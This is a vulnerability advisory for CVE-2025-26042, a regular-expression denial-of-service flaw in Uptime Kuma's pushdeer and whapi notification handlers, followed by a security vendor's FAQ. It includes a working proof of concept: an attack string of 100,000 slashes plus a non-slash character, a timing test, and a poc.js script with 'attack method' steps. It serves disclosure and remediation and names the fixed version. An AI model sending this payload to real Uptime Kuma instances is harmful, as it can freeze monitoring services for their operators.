CVE-2025-26042

There is a ReDoS vulnerability risk in the system, specifically when administrators create notification through the web service(pushdeer and whapi). If a string is provided that triggers catastrophic backtracking in the regular expression, it may lead to a ReDoS attack.

Details

The regular expression \/*$\ is used to match zero or more slashes / at the end of a URL. When a malicious attack string appends a large number of slashes / and a non-slash character at the end of the URL, the regular expression enters a backtracking matching process. During this process, the regular expression engine starts checking each slash from the first one, continuing until it encounters the last non-slash character. Due to the greedy matching nature of the regular expression, this process repeats itself, with each backtrack checking the next slash until the last slash is checked. This backtracking process consumes significant CPU resources.

.replace(/\/*$/, "")

For the regular expression /\/*$/, an attack string like

"https://e" + "/".repeat(100000) + "@" 

can trigger catastrophic backtracking, causing the web service to freeze and potentially leading to a ReDoS attack.

When entered from the web interface, the attack string needs to expand "/".repeat(100000) and be input directly, such as https://e/////////..//@. This triggers catastrophic backtracking, leading to web service lag and posing a potential ReDoS attack risk.

PoC

The poc.js is in:
https://gist.github.com/ShiyuBanzhou/26c918f93b07f5ce90e8f7000d29c7a0
The time lag phenomenon can be observed through test-pushdeer-ReDos, which helps verify the presence of the ReDoS attack:

const semver = require("semver");
let test;
const nodeVersion = process.versions.node;
if (semver.satisfies(nodeVersion, ">= 18")) {
    test = require("node:test");
} else {
    test = require("test");
}
const PushDeer = require("../../server/notification-providers/pushdeer.js");

const assert = require("node:assert");

test("Test ReDos - attack string", async (t) => {
    const pushDeer = new PushDeer();
    const notification = {
        pushdeerServer: "https://e" + "/".repeat(100000) + "@",
    };
    const msg = "Test Attacking";
    const startTime = performance.now();
    try {
        pushDeer.send(notification, msg)
    } catch (error) {
    // pass
    }
    const endTime = performance.now();
    const elapsedTime = endTime - startTime;
    const reDosThreshold = 2000;
    assert(elapsedTime <= reDosThreshold, `🚨 Potential ReDoS Attack! send method took ${elapsedTime.toFixed(2)} ms, exceeding threshold of ${reDosThreshold} ms.`);
});

Move the test-uptime-calculator.js file to the ./uptime-kuma/test/backend-test folder and run npm run test-backend to execute the backend tests.

Trigger conditions for whapi jams, In the send function within the uptime-kuma\server\notification-providers\pushdeer.js file:
https://gist.github.com/ShiyuBanzhou/bf4cee61603e152c114fa8c4791f9f28

// The attack string "httpS://example" + "/".repeat(100000) + "@"
// poc.js
// Import the target file
const Whapi = require("./uptime-kuma/server/notification-providers/whapi");

// Create an instance of Whapi
const whapi = new Whapi();

const notification = {
    whapiApiUrl: "https://e" + "/".repeat(100000) + "@",
};
// console.log(`${notification.whapiApiUrl}`);
// Define the message to be sent
const msg = "Test Attacking";

// Call the send method and handle exceptions
whapi.send(notification, msg)

// 1-5 are the original installation methods for the project
// 6-8 are attack methods
// ---
// 1.run `git clone https://github.com/louislam/uptime-kuma.git`
// 2.run `cd uptime-kuma`
// 3.run `npm run setup`
// 4.run `npm install pm2 -g && pm2 install pm2-logrotate`
// 5.run `pm2 start server/server.js --name uptime-kuma`
// ---
// 6.Run npm install in the root directory of the same level as `README.md`
// 7.Move `poc.js` to the root directory of the same level as `README.md`
// 8.and then run `node poc.js`

After running, a noticeable lag can be observed, with the regular expression matching time increasing from a few milliseconds to over 2000 milliseconds.

You can also perform this attack on the web interface. By timing the operation, it can be observed that the lag still occurs. The key to the attack string is appending a large number of / to the URL, followed by a non-/ character at the end, entered directly.

What kind of vulnerability is it?

This is a Regular Expression Denial of Service (ReDoS) vulnerability. ReDoS exploits poorly designed regular expressions that can lead to excessive backtracking under certain input conditions, causing the affected application to consume high CPU and memory resources. This can result in significant performance degradation or complete service unavailability, especially when processing specially crafted attack strings.

Who is impacted?

1. Uptime Kuma users:
   Any users or administrators running the Uptime Kuma project are potentially affected, especially if they allow untrusted input through the web interface or notification services like pushdeer.js and whapi.js. Attackers can exploit this vulnerability by injecting crafted strings into the input fields.

2. Web services and hosting providers:
   If Uptime Kuma is deployed in a production environment, the vulnerability could impact hosting providers or servers running the application, leading to downtime, degraded performance, or resource exhaustion.

A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use. Typical impact: denial of service when input is crafted to trigger backtracking.

Kodem intelligence

@louislam I have provided a solution for you to check:https://github.com/louislam/uptime-kuma/pull/5573

1. What is CVE-2025-26042? CVE-2025-26042 is a medium-severity inefficient regular expression (ReDoS) vulnerability in uptime-kuma (npm), affecting versions >= 1.15.0, <= 1.23.16. It is fixed in 2.0.0-beta.2. A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use.
2. Which versions of uptime-kuma are affected by CVE-2025-26042? uptime-kuma (npm) versions >= 1.15.0, <= 1.23.16 is affected.
3. Is there a fix for CVE-2025-26042? Yes. CVE-2025-26042 is fixed in 2.0.0-beta.2. Upgrade to this version or later.
4. Is CVE-2025-26042 exploitable, and should I be worried? Whether CVE-2025-26042 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2025-26042 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2025-26042? Upgrade uptime-kuma to 2.0.0-beta.2 or later.